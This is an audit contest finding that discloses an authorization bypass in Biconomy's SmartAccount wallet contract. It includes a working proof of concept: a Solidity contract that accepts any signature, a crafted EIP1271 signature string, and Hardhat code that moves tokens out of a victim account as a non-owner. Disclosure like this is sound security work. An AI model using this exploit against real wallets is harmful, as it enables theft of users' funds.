SmartAccount execTransaction can be run by anyone due to a missing signer check when using EIP1271 signatures

[code423n4]

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L314-L343

Vulnerability details

Impact

Anyone using the SmartAccount contract to host a 1/1 multisig may have their multisig operated by an attacker using a specially crafted signature. This would result in total loss from the SmartAccount and any contracts allowing the SmartAccount to perform privileged actions.

Proof of Concept

The issue can be reproduced using the following steps:

1. The attacker creates a "always accept signature" contract with the following code:

contract TestContract {
	function isValidSignature(bytes memory, bytes memory) external returns (bytes4) {	
		return bytes4(0x20c13b0b);
	}
}

2. The attacker deploys the contract and records the address (we'll call testContract.address)
3. The attacker runs an execTransaction against the victim's SmartAccount for a transaction that transfers all the contract's native currency and coins using the following signature (represented as it would be in a Hardhat test):

"0x000000000000000000000000" + testContract.address.substring(2) + "0000000000000000000000000000000000000000000000000000000000000041000000000000000000000000000000000000000000000000000000000000000000"

This decodes to: r = uint256(testContract.address), s = uint256(65), v = uint8(0), (signature + s) -> bytes("")

4. The transaction succeeds and the attacker has drained the victim's SmartAccount contract.

Additionally, some Hardhat code has been provided to demonstrate the issue:

    await token
      .connect(accounts[0])
      .transfer(userSCW.address, ethers.utils.parseEther("100"));

    const safeTx: SafeTransaction = buildSafeTransaction({
      to: token.address,
      data: encodeTransfer(charlie, ethers.utils.parseEther("10").toString()),
      nonce: await userSCW.getNonce(0),
    });

    const transaction: Transaction = {
      to: safeTx.to,
      value: safeTx.value,
      data: safeTx.data,
      operation: safeTx.operation,
      targetTxGas: safeTx.targetTxGas,
    };
    const refundInfo: FeeRefund = {
      baseGas: safeTx.baseGas,
      gasPrice: safeTx.gasPrice,
      tokenGasPriceFactor: safeTx.tokenGasPriceFactor,
      gasToken: safeTx.gasToken,
      refundReceiver: safeTx.refundReceiver,
    };
    const tcf = await ethers.getContractFactory("TestContract");
    let testContract = await tcf.deploy();
    let signature = "0x000000000000000000000000" + testContract.address.substring(2) + "0000000000000000000000000000000000000000000000000000000000000041000000000000000000000000000000000000000000000000000000000000000000"
   
   // check the owner is accounts[0] (sanity check)
   expect(await userSCW.owner()).to.equal(accounts[0].address);

    // Use an account other than the owner
   await expect(
      userSCW.connect(accounts[1]).execTransaction(
        transaction,
        0, // batchId
        refundInfo,
        signature
      )
    ).to.emit(userSCW, "ExecutionSuccess");

    expect(await token.balanceOf(charlie)).to.equal(
      ethers.utils.parseEther("10")
    );

Tools Used

Detection - Manual Review
Demonstration - Hardhat

Recommended Mitigation Steps

To resolve the issue, the SmartAccount contract should either:

1. Ensure the signer (r) is enrolled for the SmartAccount by the owner as an authorized signer
2. Remove the EIP1271 signature functionality entirely

[c4-judge]

gzeon-c4 marked the issue as duplicate of #175

[c4-sponsor]

livingrockrises marked the issue as sponsor confirmed

[c4-judge]

gzeon-c4 marked the issue as satisfactory